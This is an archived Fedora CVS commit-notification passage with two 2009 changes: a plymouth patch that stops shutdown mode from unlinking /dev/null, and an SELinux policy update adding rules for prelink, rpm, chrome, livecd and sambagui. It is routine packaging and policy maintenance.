Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11739

Modified Files:
	plymouth.spec 
Added Files:
	dont-unlink-devnull.patch 
Log Message:
- Don't unlink /dev/null (bug 531740)


dont-unlink-devnull.patch:
 main.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE dont-unlink-devnull.patch ---
>From 0980923c858b2e47bced54914f827df17fde8810 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Thu, 29 Oct 2009 10:04:34 -0400
Subject: [PATCH] [main] Don't unlink /dev/null

In shutdown mode we were unlinking a file that was set to /dev/null.
Removing /dev/null is a bad idea.
---
 src/main.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/main.c b/src/main.c
index 77f839b..abfd430 100644
--- a/src/main.c
+++ b/src/main.c
@@ -397,7 +397,7 @@ get_log_spool_file_for_mode (ply_mode_t mode)
       filename = PLYMOUTH_SPOOL_DIRECTORY "/boot.log";
       break;
     case PLY_MODE_SHUTDOWN:
-      filename = _PATH_DEVNULL;
+      filename = NULL;
       break;
     default:
       fprintf (stderr, "Unhandled case in %s line %d\n", __FILE__, __LINE__);
-- 
1.6.5.1



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.161
retrieving revision 1.162
diff -u -p -r1.161 -r1.162
--- plymouth.spec	19 Oct 2009 18:42:23 -0000	1.161
+++ plymouth.spec	29 Oct 2009 14:10:59 -0000	1.162
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.13%{?dist}
+Release: 0.2009.29.09.14%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -39,6 +39,7 @@ Patch5: fix-emergency-shell.patch
 Patch6: fix-details-clear-screen.patch
 Patch7: fix-text-shutdown-crash.patch
 Patch8: fix-text-ask-for-password.patch
+Patch9: dont-unlink-devnull.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -254,6 +255,7 @@ plugin.
 %patch6 -p1 -b .fix-details-clear-screen
 %patch7 -p1 -b .fix-text-shutdown-crash
 %patch8 -p1 -b .fix-text-ask-for-password
+%patch9 -p1 -b .dont-unlink-devnull
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -471,6 +473,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.14
+- Don't unlink /dev/null (bug 531740)
+
 * Mon Oct 19 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.13
 - Drop nash dep (bug 528706)
 



From dwalsh at fedoraproject.org  Thu Oct 29 14:14:42 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 29 Oct 2009 14:14:42 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.121,
	1.122 selinux-policy.spec, 1.954, 1.955
Message-ID: <20091029141442.64F4511C02C9@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12568

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-36
- Change labeling of /usr/share/yumex/yumex-yum-backend
- Allow initrc_t to request loading kernel modules
- Allow initrc_t to manage net_conf_t files
- Allow prelink to manage tmp files for "delta rpm"
- Allow livecd tool to transition to chfn and passwd
- Allow cupsd to bind to howl port
- Allow plymouth to delete /dev/null
- dontaudit leaked userdomain sockets to xauth
- Allow lircd to use pseudo terminal device
- Allow sambagui to send syslog messages
- dontaudit chrome using nfs and samba file systems if they are used for the homedir
- Allow prelude-dispatch ipc_lock and setpcap
- Change lircd /var/run specification
- Define ports for dhcpcv6


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    6 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   20 
 policy/modules/admin/rpm.if               |  324 ++++++
 policy/modules/admin/rpm.te               |   98 +
 policy/modules/admin/shorewall.fc         |    3 
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   71 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   35 
 policy/modules/apps/execmem.if            |   76 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 +
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  114 ++
 policy/modules/apps/java.te               |   19 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   52 +
 policy/modules/apps/livecd.te             |   27 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 +
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   11 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 +++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |   11 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  189 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   59 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    7 
 policy/modules/apps/sectoolm.fc           |    6 
 policy/modules/apps/sectoolm.if           |    3 
 policy/modules/apps/sectoolm.te           |  120 ++
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   32 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   38 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++
 policy/modules/kernel/domain.te           |   88 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  324 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  126 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 ++++++++++++
 policy/modules/roles/unconfineduser.te    |  426 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   37 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   58 +
 policy/modules/services/abrt.te           |   26 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   41 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  445 +++++++-
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bitlbee.te        |    2 
 policy/modules/services/bluetooth.if      |   21 
 policy/modules/services/bluetooth.te      |   11 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 +
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.fc     |    3 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   20 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    6 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   44 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    2 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   23 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   97 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    3 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  181 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  337 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  290 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 376 files changed, 18267 insertions(+), 2760 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- policy-F12.patch	27 Oct 2009 21:53:29 -0000	1.121
+++ policy-F12.patch	29 Oct 2009 14:14:24 -0000	1.122
@@ -561,7 +561,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/prelink.te serefpolicy-3.6.32/policy/modules/admin/prelink.te
 --- nsaserefpolicy/policy/modules/admin/prelink.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/prelink.te	2009-10-15 15:48:26.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/prelink.te	2009-10-28 08:45:40.000000000 -0400
 @@ -80,6 +80,7 @@
  selinux_get_enforce_mode(prelink_t)
  
@@ -578,6 +578,16 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	amanda_manage_lib(prelink_t)
+@@ -99,5 +101,9 @@
+ ')
+ 
+ optional_policy(`
++	rpm_manage_tmp_files(prelink_t)
++')
++
++optional_policy(`
+ 	unconfined_domain(prelink_t)
+ ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/readahead.te serefpolicy-3.6.32/policy/modules/admin/readahead.te
 --- nsaserefpolicy/policy/modules/admin/readahead.te	2009-09-16 09:09:20.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/admin/readahead.te	2009-09-30 16:12:48.000000000 -0400
@@ -591,8 +601,8 @@ diff -b -B --ignore-all-space --exclude-
  files_dontaudit_getattr_all_sockets(readahead_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.fc serefpolicy-3.6.32/policy/modules/admin/rpm.fc
 --- nsaserefpolicy/policy/modules/admin/rpm.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -1,17 +1,17 @@
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.fc	2009-10-28 08:38:25.000000000 -0400
+@@ -1,18 +1,18 @@
  
  /bin/rpm 			--	gen_context(system_u:object_r:rpm_exec_t,s0)
 +/usr/bin/rpm 			--	gen_context(system_u:object_r:rpm_exec_t,s0)
@@ -610,11 +620,13 @@ diff -b -B --ignore-all-space --exclude-
  /usr/sbin/system-install-packages --	gen_context(system_u:object_r:rpm_exec_t,s0)
  /usr/sbin/yum-updatesd		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 -
+-/usr/share/yumex/yumex		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 +/usr/sbin/packagekitd		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 +/usr/libexec/yumDBUSBackend.py	--	gen_context(system_u:object_r:rpm_exec_t,s0)
- /usr/share/yumex/yumex		--	gen_context(system_u:object_r:rpm_exec_t,s0)
++/usr/share/yumex/yumex-yum-backend --	gen_context(system_u:object_r:rpm_exec_t,s0)
  
  ifdef(`distro_redhat', `
+ /usr/bin/fedora-rmdevelrpms	--	gen_context(system_u:object_r:rpm_exec_t,s0)
 @@ -21,15 +21,23 @@
  /usr/sbin/pup			--	gen_context(system_u:object_r:rpm_exec_t,s0)
  /usr/sbin/rhn_check		--	gen_context(system_u:object_r:rpm_exec_t,s0)
@@ -641,7 +653,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/online_update		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.if serefpolicy-3.6.32/policy/modules/admin/rpm.if
 --- nsaserefpolicy/policy/modules/admin/rpm.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-23 08:38:05.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-28 08:45:03.000000000 -0400
 @@ -13,11 +13,34 @@
  interface(`rpm_domtrans',`
  	gen_require(`
@@ -1864,8 +1876,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.te serefpolicy-3.6.32/policy/modules/apps/chrome.te
 --- nsaserefpolicy/policy/modules/apps/chrome.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-26 09:18:12.000000000 -0400
-@@ -0,0 +1,61 @@
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.te	2009-10-29 08:55:06.000000000 -0400
+@@ -0,0 +1,71 @@
 +policy_module(chrome,1.0.0)
 +
 +########################################
@@ -1927,6 +1939,16 @@ diff -b -B --ignore-all-space --exclude-
 +	execmem_exec(chrome_sandbox_t)
 +')
 +
++tunable_policy(`use_nfs_home_dirs',`
++	fs_dontaudit_append_nfs_files(chrome_sandbox_t)
++	fs_dontaudit_read_nfs_files(chrome_sandbox_t)
++')
++
++tunable_policy(`use_samba_home_dirs',`
++	fs_dontaudit_append_cifs_files(chrome_sandbox_t)
++	fs_dontaudit_read_cifs_files(chrome_sandbox_t)
++')
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/cpufreqselector.te serefpolicy-3.6.32/policy/modules/apps/cpufreqselector.te
 --- nsaserefpolicy/policy/modules/apps/cpufreqselector.te	2009-09-09 09:23:16.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/cpufreqselector.te	2009-09-30 16:12:48.000000000 -0400
@@ -2910,8 +2932,8 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/bin/livecd-creator	--	gen_context(system_u:object_r:livecd_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/livecd.if serefpolicy-3.6.32/policy/modules/apps/livecd.if
 --- nsaserefpolicy/policy/modules/apps/livecd.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/livecd.if	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,50 @@
++++ serefpolicy-3.6.32/policy/modules/apps/livecd.if	2009-10-28 11:28:39.000000000 -0400
+@@ -0,0 +1,52 @@
 +
 +## <summary>policy for livecd</summary>
 +
@@ -2960,12 +2982,14 @@ diff -b -B --ignore-all-space --exclude-
 +	role $2 types livecd_t;
 +	
 +	seutil_run_setfiles_mac(livecd_t, $2)
++	usermanage_run_passwd(livecd_t, $2)
++	usermanage_run_chfn(livecd_t, $2)
 +')
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/livecd.te serefpolicy-3.6.32/policy/modules/apps/livecd.te
 --- nsaserefpolicy/policy/modules/apps/livecd.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/livecd.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,26 @@
++++ serefpolicy-3.6.32/policy/modules/apps/livecd.te	2009-10-28 11:28:10.000000000 -0400
+@@ -0,0 +1,27 @@
 +policy_module(livecd, 1.0.0)
 +
 +########################################
@@ -2992,6 +3016,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +seutil_domtrans_setfiles_mac(livecd_t)
++
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/loadkeys.te serefpolicy-3.6.32/policy/modules/apps/loadkeys.te
 --- nsaserefpolicy/policy/modules/apps/loadkeys.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/loadkeys.te	2009-10-01 14:51:17.000000000 -0400
@@ -3216,7 +3241,7 @@ diff -b -B --ignore-all-space --exclude-
  ## <param name="domain">
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/mozilla.te serefpolicy-3.6.32/policy/modules/apps/mozilla.te
 --- nsaserefpolicy/policy/modules/apps/mozilla.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-07 13:48:30.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/mozilla.te	2009-10-29 08:54:49.000000000 -0400
 @@ -59,6 +59,7 @@
  manage_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
  manage_lnk_files_pattern(mozilla_t, mozilla_home_t, mozilla_home_t)
@@ -4446,8 +4471,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sambagui.te serefpolicy-3.6.32/policy/modules/apps/sambagui.te
 --- nsaserefpolicy/policy/modules/apps/sambagui.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/sambagui.te	2009-10-19 09:18:38.000000000 -0400
-@@ -0,0 +1,57 @@
++++ serefpolicy-3.6.32/policy/modules/apps/sambagui.te	2009-10-29 08:45:14.000000000 -0400
+@@ -0,0 +1,59 @@
 +policy_module(sambagui,1.0.0)
 +
 +########################################
@@ -4488,6 +4513,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 +auth_use_nsswitch(sambagui_t)
 +
++logging_send_syslog_msg(sambagui_t)
++
